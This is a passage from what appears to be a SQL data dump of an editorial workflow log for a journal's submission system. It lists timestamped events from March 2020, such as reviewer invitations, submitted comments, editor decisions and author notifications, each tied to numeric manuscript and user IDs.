comments',3135,'Reviewer',11355),(27459,'2020-03-06 13:11:21','Publisher has been Assigned Editor',3532,'Publisher',274),(27460,'2020-03-06 13:11:49','Publisher has been Assigned Editor',3531,'Publisher',274),(27471,'2020-03-06 13:31:08','Reviewer has submitted comments',3509,'Reviewer',11518),(27472,'2020-03-06 13:32:00','Reviewer has submitted comments',3509,'Reviewer',11518),(27473,'2020-03-06 13:32:12','Reviewer has updated comments',3509,'Reviewer',11518),(27474,'2020-03-06 13:32:20','Reviewer has updated comments',3509,'Reviewer',11518),(27475,'2020-03-06 13:32:31','Reviewer has updated comments',3509,'Reviewer',11518),(27491,'2020-03-06 17:32:55','Publisher has Invited Reviewer',3522,'Publisher',48),(27492,'2020-03-06 17:32:56','Publisher has Invited Reviewer',3522,'Publisher',48),(27493,'2020-03-06 17:33:03','Publisher has Invited Reviewer',3522,'Publisher',48),(27494,'2020-03-06 18:53:32','Reviewer has submitted comments',3505,'Reviewer',9797),(27495,'2020-03-06 18:54:06','Reviewer has submitted comments',3504,'Reviewer',9797),(27496,'2020-03-06 21:13:06','Reviewer has submitted comments',3484,'Reviewer',9803),(27499,'2020-03-07 02:00:49','Manuscript Submitted by Author using Submission form',3539,'Author',4625),(27500,'2020-03-07 02:50:49','Author sent Email',3220,'Author',4221),(27527,'2020-03-07 11:23:37','Reviewer has submitted comments',3045,'Reviewer',11519),(27544,'2020-03-07 17:44:07','Reviewer has submitted comments',3135,'Reviewer',11351),(27546,'2020-03-07 19:51:10','Manuscript Submitted by Author using Submission form',3546,'Author',4635),(27550,'2020-03-08 00:26:44','Manuscript Submitted by Author using Submission form',3547,'Author',4638),(27551,'2020-03-08 13:17:58','Manuscript Submitted by Author using Submission form',3548,'Author',4641),(27555,'2020-03-09 03:36:25','Manuscript has been Revised',3381,'Author',3889),(27558,'2020-03-09 09:27:58','Publisher has been Assigned Editor',3546,'Publisher',274),(27561,'2020-03-09 09:48:35','Manuscript Submitted by Author',3551,'Author',4584),(27574,'2020-03-09 10:09:24','Publisher: Accept Notification has been sent to Author',3256,'Publisher',85),(27575,'2020-03-09 10:09:45','Publisher: Accept Notification has been sent to Author',3126,'Publisher',85),(27576,'2020-03-09 10:09:58','Publisher: Accept Notification has been sent to Author',2887,'Publisher',85),(27596,'2020-03-09 10:48:10','Publisher has been Accepted Articles  article',3258,'Publisher',645),(27598,'2020-03-09 11:47:29','Reviewer has submitted comments',3486,'Reviewer',11456),(27599,'2020-03-09 11:47:58','Publisher : Notified Editor',3486,'Publisher',984),(27600,'2020-03-09 11:49:08','Editor has Accepted to review Manuscript',3486,'Editor',1342),(27601,'2020-03-09 11:49:32','Editor has Accepted to review Manuscript',3336,'Editor',1342),(27602,'2020-03-09 11:54:11','Editor has been Editor Decision Accepted article',3486,'Editor',1342),(27603,'2020-03-09 11:55:34','Reviewer has submitted comments',3488,'Reviewer',11299),(27633,'2020-03-09 14:29:34','Reviewer has updated comments',3505,'Reviewer',9797),(27638,'2020-03-09 14:31:15','Reviewer has updated comments',3504,'Reviewer',9797),(27678,'2020-03-09 15:14:36','Reviewer has submitted comments',3504,'Reviewer',7415),(27679,'2020-03-09 15:14:37','Reviewer has submitted comments',3504,'Reviewer',7415),(27680,'2020-03-09 15:14:55','Reviewer has updated comments',3504,'Reviewer',7415),(27688,'2020-03-09 16:50:47','Publisher has been Assigned Editor',3433,'Publisher',645),(27689,'2020-03-09 16:51:10','Publisher has been Assigned Editor',3400,'Publisher',645),(27700,'2020-03-09 18:15:43','Author sent Email',3400,'Author',4451),(27715,'2020-03-10 09:33:57','Publisher has Invited Reviewer',3532,'Publisher',274),(27716,'2020-03-10 09:34:01','Publisher has Invited Reviewer',3532,'Publisher',274),(27717,'2020-03-10 09:34:05','Publisher has Invited Reviewer',3532,'Publisher',274),(27718,'2020-03-10 09:34:09','Publisher has Invited Reviewer',3532,'Publisher',274),(27719,'2020-03-10 09:41:10','Publisher has Invited Reviewer',3546,'Publisher',274),(27720,'2020-03-10 09:41:14','Publisher has Invited Reviewer',3546,'Publisher',274),(27721,'2020-03-10 09:41:18','Publisher has Invited Reviewer',3546,'Publisher',274),(27722,'2020-03-10 09:41:22','Publisher has Invited Reviewer',3546,'Publisher',274),(27723,'2020-03-10 09:41:26','Publisher has Invited Reviewer',3546,'Publisher',274),(27724,'2020-03-10 09:41:30','Publisher has Invited Reviewer',3546,'Publisher',274),(27725,'2020-03-10 10:03:19','Publisher : Notified Author',3037,'Publisher',84),(27726,'2020-03-10 10:03:33','Publisher : Notified Author',3036,'Publisher',84),(27727,'2020-03-10 10:05:11','Publisher : Notified Author',3213,'Publisher',84),(27728,'2020-03-10 10:21:28','Publisher : Notified Author',557,'Publisher',84),(27756,'2020-03-10 13:16:40','Publisher has been Assigned Editor',3539,'Publisher',48),(27760,'2020-03-10 14:00:44','Publisher has Invited Reviewer',3539,'Publisher',48),(27761,'2020-03-10 14:00:46','Publisher has Invited Reviewer',3539,'Publisher',48),(27762,'2020-03-10 14:00:47','Publisher has Invited Reviewer',3539,'Publisher',48),(27763,'2020-03-10 14:00:48','Publisher has Invited Reviewer',3539,'Publisher',48),(27764,'2020-03-10 14:00:49','Publisher has Invited Reviewer',3539,'Publisher',48),(27765,'2020-03-10 14:00:50','Publisher has Invited Reviewer',3539,'Publisher',48),(27766,'2020-03-10 14:00:51','Publisher has Invited Reviewer',3539,'Publisher',48),(27799,'2020-03-10 15:20:20','Publisher has Invited Reviewer',3192,'Publisher',75),(27800,'2020-03-10 15:20:22','Publisher has Invited Reviewer',3192,'Publisher',75),(27801,'2020-03-10 15:20:39','Publisher has Invited Reviewer',3192,'Publisher',75),(27802,'2020-03-10 15:20:51','Publisher has Invited Reviewer',3192,'Publisher',75),(27803,'2020-03-10 15:20:52','Publisher has Invited Reviewer',3192,'Publisher',75),(27804,'2020-03-10 15:20:53','Publisher has Invited Reviewer',3192,'Publisher',75),(27805,'2020-03-10 15:21:01','Publisher has Invited Reviewer',3192,'Publisher',75),(27806,'2020-03-10 15:22:28','Publisher has Invited Reviewer',3301,'Publisher',274),(27807,'2020-03-10 15:26:27','Publisher has Invited Reviewer',3209,'Publisher',75),(27808,'2020-03-10 15:26:40','Publisher has Invited Reviewer',3209,'Publisher',75),(27809,'2020-03-10 15:26:40','Publisher has Invited Reviewer',3209,'Publisher',75),(27810,'2020-03-10 15:26:41','Publisher has Invited Reviewer',3209,'Publisher',75),(27811,'2020-03-10 15:26:42','Publisher has Invited Reviewer',3209,'Publisher',75),(27812,'2020-03-10 15:26:43','Publisher has Invited Reviewer',3209,'Publisher',75),(27813,'2020-03-10 15:27:06','Publisher has Invited Reviewer',3266,'Publisher',75),(27814,'2020-03-10 15:27:07','Publisher has Invited Reviewer',3266,'Publisher',75),(27815,'2020-03-10 15:27:08','Publisher has Invited Reviewer',3266,'Publisher',75),(27816,'2020-03-10 15:27:09','Publisher has Invited Reviewer',3266,'Publisher',75),(27817,'2020-03-10 15:27:10','Publisher has Invited Reviewer',3266,'Publisher',75),(27819,'2020-03-10 15:36:58','Publisher has Invited Reviewer',3266,'Publisher',75),(27820,'2020-03-10 15:39:55','Publisher has Invited Reviewer',3447,'Publisher',75),(27821,'2020-03-10 15:40:01','Publisher has Invited Reviewer',3447,'Publisher',75),(27822,'2020-03-10 15:40:02','Publisher has Invited Reviewer',3447,'Publisher',75),(27823,'2020-03-10 15:40:03','Publisher has Invited Reviewer',3447,'Publisher',75),(27824,'2020-03-10 15:40:04','Publisher has Invited Reviewer',3447,'Publisher',75),(27825,'2020-03-10 15:40:05','Publisher has Invited Reviewer',3447,'Publisher',75),(27826,'2020-03-10 15:40:06','Publisher has Invited Reviewer',3447,'Publisher',75),(27827,'2020-03-10 15:40:08','Publisher has Invited Reviewer',3447,'Publisher',75),(27828,'2020-03-10 15:40:09','Publisher has Invited Reviewer',3447,'Publisher',75),(27829,'2020-03-10 15:40:10','Publisher has Invited Reviewer',3447,'Publisher',75),(27830,'2020-03-10 15:40:11','Publisher has Invited Reviewer',3447,'Publisher',75),(27831,'2020-03-10 15:40:12','Publisher has Invited Reviewer',3447,'Publisher',75),(27832,'2020-03-10 15:43:01','Publisher has Invited Reviewer',3467,'Publisher',75),(27833,'2020-03-10 15:43:15','Publisher has Invited Reviewer',3467,'Publisher',75),(27834,'2020-03-10 15:43:15','Publisher has Invited Reviewer',3467,'Publisher',75),(27835,'2020-03-10 15:43:17','Publisher has Invited Reviewer',3467,'Publisher',75),(27836,'2020-03-10 15:43:18','Publisher has Invited Reviewer',3467,'Publisher',75),(27837,'2020-03-10 15:43:19','Publisher has Invited Reviewer',3467,'Publisher',75),(27838,'2020-03-10 15:43:20','Publisher has Invited Reviewer',3467,'Publisher',75),(27852,'2020-03-10 17:02:15','Manuscript Submitted by Author using Submission form',3562,'Author',4659),(27872,'2020-03-10 18:23:19','Manuscript Submitted by Author using Submission form',3563,'Author',4660),(27878,'2020-03-10 19:47:29','Reviewer has been sent email to Publisher',3192,'Reviewer',663),(27879,'2020-03-10 20:56:15','Manuscript Submitted by Author using Submission form',3566,'Author',4662),(27885,'2020-03-11 01:05:09','Reviewer has submitted comments',3192,'Reviewer',10287),(27886,'2020-03-11 02:27:26','Manuscript Submitted by Author',3568,'Author',3833),(27891,'2020-03-11 09:54:34','Publisher has been Assigned Editor',3562,'Publisher',48),(27892,'2020-03-11 09:57:38','Publisher has Invited Reviewer',3562,'Publisher',48),(27893,'2020-03-11 09:57:39','Publisher has Invited Reviewer',3562,'Publisher',48),(27894,'2020-03-11 09:57:40','Publisher has Invited Reviewer',3562,'Publisher',48),(27895,'2020-03-11 09:57:40','Publisher has Invited Reviewer',3562,'Publisher',48),(27896,'2020-03-11 09:57:41','Publisher has Invited Reviewer',3562,'Publisher',48),(27897,'2020-03-11 09:57:42','Publisher has Invited Reviewer',3562,'Publisher',48),(27898,'2020-03-11 09:57:43','Publisher has Invited Reviewer',3562,'Publisher',48),(27899,'2020-03-11 09:57:44','Publisher has Invited Reviewer',3562,'Publisher',48),(27902,'2020-03-11 10:47:04','Publisher has been Assigned Editor',3568,'Publisher',48),(27904,'2020-03-11 10:47:13','Publisher has been Assigned Editor',3563,'Publisher',48),(27905,'2020-03-11 10:47:48','Publisher has Invited Reviewer',3568,'Publisher',48),(27906,'2020-03-11 10:47:58','Publisher has Invited Reviewer',3568,'Publisher',48),(27907,'2020-03-11 10:47:59','Publisher has Invited Reviewer',3568,'Publisher',48),(27908,'2020-03-11 10:47:59','Publisher has Invited Reviewer',3568,'Publisher',48),(27909,'2020-03-11 10:48:00','Publisher has Invited Reviewer',3568,'Publisher',48),(27913,'2020-03-11 10:51:05','Publisher has Invited Reviewer',3563,'Publisher',48),(27936,'2020-03-11 11:55:01','Publisher has Invited Reviewer',3568,'Publisher',48),(27937,'2020-03-11 11:55:02','Publisher has Invited Reviewer',3568,'Publisher',48),(27938,'2020-03-11 11:55:03','Publisher has Invited Reviewer',3568,'Publisher',48),(27939,'2020-03-11 11:55:04','Publisher has Invited Reviewer',3568,'Publisher',48),(27961,'2020-03-11 12:45:51','Publisher has Invited Reviewer',3531,'Publisher',274),(27962,'2020-03-11 12:45:56','Publisher has Invited Reviewer',3531,'Publisher',274),(27963,'2020-03-11 12:46:00','Publisher has Invited Reviewer',3531,'Publisher',274),(27964,'2020-03-11 12:46:04','Publisher has Invited Reviewer',3531,'Publisher',274),(27965,'2020-03-11 12:46:08','Publisher has Invited Reviewer',3531,'Publisher',274),(27966,'2020-03-11 12:46:41','Publisher : Notified Editor',3381,'Publisher',274),(27967,'2020-03-11 12:56:45','Reviewer has submitted comments',3568,'Reviewer',11689),(27974,'2020-03-11 13:52:11','Publisher has Invited Reviewer',3563,'Publisher',48),(27975,'2020-03-11 13:52:12','Publisher has Invited Reviewer',3563,'Publisher',48),(27976,'2020-03-11 13:52:13','Publisher has Invited Reviewer',3563,'Publisher',48),(27977,'2020-03-11 13:52:14','Publisher has Invited Reviewer',3563,'Publisher',48),(27978,'2020-03-11 13:52:34','Publisher has Invited Reviewer',3562,'Publisher',48),(27979,'2020-03-11 13:52:35','Publisher has Invited Reviewer',3562,'Publisher',48),(27980,'2020-03-11 13:52:36','Publisher has Invited Reviewer',3562,'Publisher',48),(27981,'2020-03-11 13:52:37','Publisher has Invited Reviewer',3562,'Publisher',48),(27982,'2020-03-11 13:53:01','Publisher has Invited Reviewer',3539,'Publisher',48),(27983,'2020-03-11 13:53:02','Publisher has Invited Reviewer',3539,'Publisher',48),(27984,'2020-03-11 13:53:03','Publisher has Invited Reviewer',3539,'Publisher',48),(27985,'2020-03-11 13:53:04','Publisher has Invited Reviewer',3539,'Publisher',48),(27986,'2020-03-11 13:53:48','Publisher has Invited Reviewer',3522,'Publisher',48),(27988,'2020-03-11 14:03:56','Publisher has been Assigned Editor',3551,'Publisher',48),(27989,'2020-03-11 14:04:26','Publisher has Invited Reviewer',3551,'Publisher',48),(27990,'2020-03-11 14:04:27','Publisher has Invited Reviewer',3551,'Publisher',48),(27991,'2020-03-11 14:04:28','Publisher has Invited Reviewer',3551,'Publisher',48),(27992,'2020-03-11 14:04:29','Publisher has Invited Reviewer',3551,'Publisher',48),(27993,'2020-03-11 14:04:30','Publisher has Invited Reviewer',3551,'Publisher',48),(27994,'2020-03-11 14:04:31','Publisher has Invited Reviewer',3551,'Publisher',48),(28006,'2020-03-11 14:36:26','Publisher has Invited Reviewer',3551,'Publisher',48),(28061,'2020-03-11 17:12:05','Reviewer has submitted comments',3568,'Reviewer',11688),(28075,'2020-03-11 18:58:29','Manuscript Submitted by Author using Submission form',3573,'Author',4669),(28076,'2020-03-11 20:17:37','Reviewer has submitted comments',3551,'Reviewer',11519),(28078,'2020-03-11 23:02:39','Reviewer has been sent email to Publisher',3568,'Reviewer',11687),(28081,'2020-03-12 02:43:40','Manuscript Submitted by Author using Submission form',3575,'Author',4672),(28083,'2020-03-12 07:34:56','Manuscript Submitted by Author using Submission form',3577,'Author',4674),(28105,'2020-03-12 10:02:07','Publisher has Invited Reviewer',3519,'Publisher',673),(28106,'2020-03-12 10:02:09','Publisher has Invited Reviewer',3519,'Publisher',673),(28107,'2020-03-12 10:02:10','Publisher has Invited Reviewer',3519,'Publisher',673),(28108,'2020-03-12 10:02:12','Publisher has Invited Reviewer',3519,'Publisher',673),(28109,'2020-03-12 10:02:23','Publisher has Invited Reviewer',3519,'Publisher',673),(28118,'2020-03-12 10:20:35','Reviewer has submitted comments',3154,'Reviewer',11589),(28119,'2020-03-12 10:28:08','Publisher has been Assigned Editor',3577,'Publisher',84),(28134,'2020-03-12 12:44:49','Reviewer has submitted comments',3519,'Reviewer',11354),(28135,'2020-03-12 13:07:03','Publisher has Invited Reviewer',3577,'Publisher',84),(28136,'2020-03-12 13:07:04','Publisher has Invited Reviewer',3577,'Publisher',84),(28137,'2020-03-12 13:07:05','Publisher has Invited Reviewer',3577,'Publisher',84),(28138,'2020-03-12 13:07:11','Publisher has Invited Reviewer',3577,'Publisher',84),(28139,'2020-03-12 13:07:17','Publisher has Invited Reviewer',3577,'Publisher',84),(28140,'2020-03-12 13:07:18','Publisher has Invited Reviewer',3577,'Publisher',84),(28142,'2020-03-12 14:23:23','Author sent Email',3568,'Author',3833),(28145,'2020-03-12 15:01:01','Manuscript Submitted by Publisher',3579,'Publisher',984),(28146,'2020-03-12 15:03:07','Manuscript Submitted by Publisher',3580,'Publisher',984),(28147,'2020-03-12 15:03:23','Publisher has been Assigned Editor',3580,'Publisher',984),(28148,'2020-03-12 15:03:44','Publisher has been Assigned Editor',3579,'Publisher',984),(28149,'2020-03-12 15:05:42','Manuscript Submitted by Publisher',3581,'Publisher',984),(28150,'2020-03-12 15:05:50','Publisher has been Assigned Editor',3581,'Publisher',984),(28157,'2020-03-12 18:33:20','Manuscript Submitted by Author using Submission form',3584,'Author',4681),(28161,'2020-03-13 02:23:38','Manuscript Submitted by Author',3587,'Author',3672),(28185,'2020-03-13 11:05:33','Publisher has Invited Reviewer',3563,'Publisher',48),(28186,'2020-03-13 11:05:34','Publisher has Invited Reviewer',3563,'Publisher',48),(28187,'2020-03-13 11:05:46','Publisher has Invited Reviewer',3563,'Publisher',48),(28188,'2020-03-13 11:05:47','Publisher has Invited Reviewer',3563,'Publisher',48),(28189,'2020-03-13 11:05:48','Publisher has Invited Reviewer',3563,'Publisher',48),(28190,'2020-03-13 11:05:49','Publisher has Invited Reviewer',3563,'Publisher',48),(28220,'2020-03-13 17:03:51','Publisher has been Assigned Editor',3547,'Publisher',645),(28221,'2020-03-13 17:18:27','Publisher : Notified Editor',3135,'Publisher',673),(28224,'2020-03-13 18:02:58','Reviewer has submitted comments',3519,'Reviewer',11351),(28233,'2020-03-14 19:51:40','Manuscript Submitted by Author using Submission form',3593,'Author',4692),(28240,'2020-03-16 05:34:30','Reviewer has submitted comments',3467,'Reviewer',663),(28241,'2020-03-16 09:31:16','Publisher has been Assigned Editor',3587,'Publisher',274),(28243,'2020-03-16 10:14:04','Publisher has been Assigned Editor',3584,'Publisher',85),(28256,'2020-03-16 10:36:35','Editor has Accepted to review Manuscript',3135,'Editor',1370),(28257,'2020-03-16 10:37:33','Editor has been Editor Decision Accepted article',3135,'Editor',1370),(28260,'2020-03-16 10:49:34','Publisher has been Assigned Editor',3593,'Publisher',48),(28266,'2020-03-16 10:52:05','Publisher has Invited Reviewer',3593,'Publisher',48),(28267,'2020-03-16 10:52:06','Publisher has Invited Reviewer',3593,'Publisher',48),(28268,'2020-03-16 10:52:07','Publisher has Invited Reviewer',3593,'Publisher',48),(28285,'2020-03-16 11:24:37','Publisher has Invited Reviewer',3584,'Publisher',85),(28286,'2020-03-16 11:24:39','Publisher has Invited Reviewer',3584,'Publisher',85),(28287,'2020-03-16 11:24:40','Publisher has Invited Reviewer',3584,'Publisher',85),(28288,'2020-03-16 11:24:41','Publisher has Invited Reviewer',3584,'Publisher',85),(28289,'2020-03-16 11:24:42','Publisher has Invited Reviewer',3584,'Publisher',85),(28290,'2020-03-16 11:24:44','Publisher has Invited Reviewer',3584,'Publisher',85),(28291,'2020-03-16 11:24:45','Publisher has Invited Reviewer',3584,'Publisher',85),(28292,'2020-03-16 11:24:46','Publisher has Invited Reviewer',3584,'Publisher',85),(28293,'2020-03-16 11:27:28','Reviewer has submitted comments',3522,'Reviewer',11577),(28294,'2020-03-16 11:31:16','Reviewer has submitted comments',3522,'Reviewer',11578),(28295,'2020-03-16 12:03:15','Manuscript Submitted by Publisher',3598,'Publisher',85),(28296,'2020-03-16 12:03:37','Publisher has been Assigned Editor',3598,'Publisher',85),(28297,'2020-03-16 12:09:50','Publisher has Invited Reviewer',3598,'Publisher',85),(28298,'2020-03-16 12:09:51','Publisher has Invited Reviewer',3598,'Publisher',85),(28299,'2020-03-16 12:09:52','Publisher has Invited Reviewer',3598,'Publisher',85),(28300,'2020-03-16 12:09:53','Publisher has Invited Reviewer',3598,'Publisher',85),(28301,'2020-03-16 12:10:00','Publisher has Invited Reviewer',3598,'Publisher',85),(28302,'2020-03-16 12:10:07','Publisher has Invited Reviewer',3598,'Publisher',85),(28303,'2020-03-16 12:10:34','Publisher has Invited Reviewer',3598,'Publisher',85),(28304,'2020-03-16 12:10:40','Publisher has Invited Reviewer',3598,'Publisher',85),(28334,'2020-03-16 14:25:35','Publisher : Notified Editor',3519,'Publisher',673),(28347,'2020-03-16 15:29:33','Editor has Accepted to review Manuscript',3522,'Editor',194),(28348,'2020-03-16 15:29:43','Editor has been Editor Decision Accepted article',3522,'Editor',194),(28349,'2020-03-16 15:29:51','Editor has Accepted to review Manuscript',3488,'Editor',194),(28350,'2020-03-16 15:30:03','Editor has been Revise (Notify Author) article',3488,'Editor',194),(28351,'2020-03-16 15:30:25','Editor has Accepted to review Manuscript',3568,'Editor',194),(28352,'2020-03-16 15:30:32','Editor has been Editor Decision Rejected article',3568,'Editor',194),(28353,'2020-03-16 15:31:01','Publisher: Accept Notification has been sent to Author',3522,'Publisher',48),(28354,'2020-03-16 15:31:27','Publisher : Notified Author',3488,'Publisher',48),(28355,'2020-03-16 15:32:26','Editor has Accepted to review Manuscript',3498,'Editor',195),(28356,'2020-03-16 15:32:35','Editor has been Editor Decision Accepted article',3498,'Editor',195),(28357,'2020-03-16 15:50:50','Editor has Accepted to review Manuscript',3519,'Editor',1370),(28358,'2020-03-16 15:51:50','Editor has been Editor Decision Accepted article',3519,'Editor',1370),(28424,'2020-03-16 20:05:24','Reviewer has updated comments',2754,'Reviewer',5467),(28428,'2020-03-17 09:10:05','Publisher has Invited Reviewer',3495,'Publisher',319),(28429,'2020-03-17 09:10:06','Publisher has Invited Reviewer',3495,'Publisher',319),(28430,'2020-03-17 09:10:07','Publisher has Invited Reviewer',3495,'Publisher',319),(28502,'2020-03-17 15:45:29','Publisher has Invited Reviewer',3587,'Publisher',274),(28503,'2020-03-17 15:45:33','Publisher has Invited Reviewer',3587,'Publisher',274),(28504,'2020-03-17 15:45:37','Publisher has Invited Reviewer',3587,'Publisher',274),(28534,'2020-03-17 17:58:24','Publisher has Invited Reviewer',3584,'Publisher',85),(28535,'2020-03-17 17:58:26','Publisher has Invited Reviewer',3584,'Publisher',85),(28536,'2020-03-17 17:58:28','Publisher has Invited Reviewer',3584,'Publisher',85),(28537,'2020-03-17 17:58:32','Publisher has Invited Reviewer',3584,'Publisher',85),(28538,'2020-03-17 17:58:34','Publisher has Invited Reviewer',3584,'Publisher',85),(28549,'2020-03-18 09:29:22','Publisher has been Assigned Editor',3575,'Publisher',75),(28550,'2020-03-18 09:29:36','Publisher has been Assigned Editor',3573,'Publisher',75),(28551,'2020-03-18 09:29:45','Publisher has been Assigned Editor',3566,'Publisher',75),(28552,'2020-03-18 09:37:20','Editor has Accepted to review Manuscript',3566,'Editor',160),(28553,'2020-03-18 09:37:22','Editor has Accepted to review Manuscript',3566,'Editor',160),(28554,'2020-03-18 09:39:52','Editor has Invited Reviewer',3566,'Editor',160),(28555,'2020-03-18 09:39:53','Editor has Invited Reviewer',3566,'Editor',160),(28556,'2020-03-18 09:39:59','Editor has Invited Reviewer',3566,'Editor',160),(28557,'2020-03-18 09:40:01','Editor has Invited Reviewer',3566,'Editor',160),(28558,'2020-03-18 09:40:02','Editor has Invited Reviewer',3566,'Editor',160),(28559,'2020-03-18 09:56:33','Publisher has Invited Reviewer',3577,'Publisher',84),(28560,'2020-03-18 09:56:34','Publisher has Invited Reviewer',3577,'Publisher',84),(28561,'2020-03-18 09:56:35','Publisher has Invited Reviewer',3577,'Publisher',84),(28562,'2020-03-18 09:56:36','Publisher has Invited Reviewer',3577,'Publisher',84),(28563,'2020-03-18 09:56:37','Publisher has Invited Reviewer',3577,'Publisher',84),(28564,'2020-03-18 09:56:38','Publisher has Invited Reviewer',3577,'Publisher',84),(28565,'2020-03-18 09:56:39','Publisher has Invited Reviewer',3577,'Publisher',84),(28566,'2020-03-18 09:56:41','Publisher has Invited Reviewer',3577,'Publisher',84),(28567,'2020-03-18 09:56:42','Publisher has Invited Reviewer',3577,'Publisher',84),(28568,'2020-03-18 09:56:43','Publisher has Invited Reviewer',3577,'Publisher',84),(28581,'2020-03-18 11:04:21','Manuscript Submitted by Publisher',3612,'Publisher',48),(28582,'2020-03-18 11:04:30','Publisher has been Assigned Editor',3612,'Publisher',48),(28583,'2020-03-18 11:04:53','Publisher has Invited Reviewer',3612,'Publisher',48),(28584,'2020-03-18 11:04:54','Publisher has Invited Reviewer',3612,'Publisher',48),(28591,'2020-03-18 14:12:12','Editor has been Revise (Notify Author) article',3381,'Editor',1235),(28592,'2020-03-18 14:13:49','Editor has been Editor Decision Accepted article',3381,'Editor',1235),(28593,'2020-03-18 14:14:54','Publisher: Accept Notification has been sent to Author',3381,'Publisher',274),(28595,'2020-03-18 15:44:32','Publisher has Invited Reviewer',3581,'Publisher',984),(28596,'2020-03-18 15:44:33','Publisher has Invited Reviewer',3581,'Publisher',984),(28597,'2020-03-18 15:44:35','Publisher has Invited Reviewer',3581,'Publisher',984),(28598,'2020-03-18 15:44:36','Publisher has Invited Reviewer',3581,'Publisher',984),(28599,'2020-03-18 15:44:37','Publisher has Invited Reviewer',3581,'Publisher',984),(28600,'2020-03-18 15:44:38','Publisher has Invited Reviewer',3581,'Publisher',984),(28601,'2020-03-18 15:44:39','Publisher has Invited Reviewer',3581,'Publisher',984),(28602,'2020-03-18 15:44:40','Publisher has Invited Reviewer',3581,'Publisher',984),(28603,'2020-03-18 15:44:41','Publisher has Invited Reviewer',3581,'Publisher',984),(28622,'2020-03-18 17:55:15','Publisher has Invited Reviewer',3513,'Publisher',85),(28623,'2020-03-18 17:56:22','Publisher has Invited Reviewer',3598,'Publisher',85),(28624,'2020-03-18 17:56:29','Publisher has Invited Reviewer',3598,'Publisher',85),(28625,'2020-03-18 17:56:30','Publisher has Invited Reviewer',3598,'Publisher',85),(28626,'2020-03-18 17:56:31','Publisher has Invited Reviewer',3598,'Publisher',85),(28627,'2020-03-18 17:58:18','Publisher has Invited Reviewer',3584,'Publisher',85),(28628,'2020-03-18 17:58:19','Publisher has Invited Reviewer',3584,'Publisher',85),(28629,'2020-03-18 17:58:25','Publisher has Invited Reviewer',3584,'Publisher',85),(28630,'2020-03-18 17:58:26','Publisher has Invited Reviewer',3584,'Publisher',85),(28631,'2020-03-18 17:58:27','Publisher has Invited Reviewer',3584,'Publisher',85),(28656,'2020-03-18 23:54:08','Reviewer has submitted comments',3581,'Reviewer',10967),(28657,'2020-03-19 04:26:16','Reviewer has submitted comments',3484,'Reviewer',7415),(28681,'2020-03-19 11:47:25','Editor has been Revise (Notify Author) article',3484,'Editor',1067),(28684,'2020-03-19 11:50:52','Publisher : Notified Author',3484,'Publisher',319),(28705,'2020-03-19 12:06:06','Publisher has Invited Reviewer',3301,'Publisher',274),(28706,'2020-03-19 12:16:18','Reviewer has submitted comments',3532,'Reviewer',11449),(28707,'2020-03-19 12:17:14','Publisher has been Accepted Articles  article',3381,'Publisher',274),(28708,'2020-03-19 13:15:42','Publisher has Invited Reviewer',3612,'Publisher',48),(28709,'2020-03-19 13:15:43','Publisher has Invited Reviewer',3612,'Publisher',48),(28710,'2020-03-19 13:16:41','Publisher has Invited Reviewer',3612,'Publisher',48),(28737,'2020-03-20 00:01:03','Author sent Email',3154,'Author',4125),(28738,'2020-03-20 02:02:54','Reviewer has submitted comments',3192,'Reviewer',663),(28757,'2020-03-20 11:16:09','Publisher has Invited Reviewer',3598,'Publisher',85),(28758,'2020-03-20 11:16:11','Publisher has Invited Reviewer',3598,'Publisher',85),(28759,'2020-03-20 11:16:12','Publisher has Invited Reviewer',3598,'Publisher',85),(28760,'2020-03-20 11:41:02','Publisher has been Withdrawn  article',3456,'Publisher',248),(28762,'2020-03-20 12:10:12','Publisher has been Withdrawn  article',2120,'Publisher',645),(28764,'2020-03-20 12:13:00','Publisher has Invited Reviewer',3547,'Publisher',645),(28765,'2020-03-20 12:13:01','Publisher has Invited Reviewer',3547,'Publisher',645),(28766,'2020-03-20 12:13:07','Publisher has Invited Reviewer',3547,'Publisher',645),(28767,'2020-03-20 12:13:08','Publisher has Invited Reviewer',3547,'Publisher',645),(28768,'2020-03-20 12:13:08','Publisher has Invited Reviewer',3547,'Publisher',645),(28769,'2020-03-20 12:13:38','Publisher has Invited Reviewer',3433,'Publisher',645),(28770,'2020-03-20 12:13:39','Publisher has Invited Reviewer',3433,'Publisher',645),(28771,'2020-03-20 12:13:40','Publisher has Invited Reviewer',3433,'Publisher',645),(28772,'2020-03-20 12:13:40','Publisher has Invited Reviewer',3433,'Publisher',645),(28773,'2020-03-20 12:13:41','Publisher has Invited Reviewer',3433,'Publisher',645),(28774,'2020-03-20 12:13:42','Publisher has Invited Reviewer',3433,'Publisher',645),(28775,'2020-03-20 12:13:58','Publisher has Invited Reviewer',3400,'Publisher',645),(28776,'2020-03-20 12:13:59','Publisher has Invited Reviewer',3400,'Publisher',645),(28777,'2020-03-20 12:14:06','Publisher has Invited Reviewer',3400,'Publisher',645),(28778,'2020-03-20 12:14:06','Publisher has Invited Reviewer',3400,'Publisher',645),(28779,'2020-03-20 12:14:13','Publisher has Invited Reviewer',3400,'Publisher',645),(28780,'2020-03-20 12:16:48','Reviewer has submitted comments',1024,'Reviewer',8599),(28781,'2020-03-20 12:17:25','Publisher : Notified Editor',1024,'Publisher',248),(28782,'2020-03-20 12:18:19','Editor has Accepted to review Manuscript',1024,'Editor',359),(28783,'2020-03-20 12:18:29','Editor has been Editor Decision Accepted article',1024,'Editor',359),(28790,'2020-03-20 12:19:18','Publisher: Accept Notification has been sent to Author',1024,'Publisher',248),(28791,'2020-03-20 12:19:33','Publisher has been Accepted Articles  article',1024,'Publisher',248),(28794,'2020-03-20 13:10:02','Publisher : Notified Editor',3125,'Publisher',248),(28795,'2020-03-20 13:11:25','Editor has Accepted to review Manuscript',3125,'Editor',358),(28796,'2020-03-20 13:12:12','Editor has been Editor Decision Accepted article',3125,'Editor',358),(28803,'2020-03-20 13:55:59','Manuscript Submitted by Author using Submission form',3623,'Author',4730),(28804,'2020-03-20 16:33:57','Publisher has been Assigned Editor',3623,'Publisher',48),(28805,'2020-03-20 16:34:53','Publisher has Invited Reviewer',3623,'Publisher',48),(28806,'2020-03-20 16:34:54','Publisher has Invited Reviewer',3623,'Publisher',48),(28824,'2020-03-20 17:30:05','Publisher : Notified Editor',3532,'Publisher',274),(28825,'2020-03-20 17:30:35','Editor has Accepted to review Manuscript',3532,'Editor',1235),(28826,'2020-03-20 17:30:52','Editor has been Revise (Notify Author) article',3532,'Editor',1235),(28829,'2020-03-20 17:31:30','Publisher : Notified Author',3532,'Publisher',274),(28831,'2020-03-20 17:48:31','Publisher : Notified Editor',3154,'Publisher',75),(28832,'2020-03-20 17:49:38','Editor 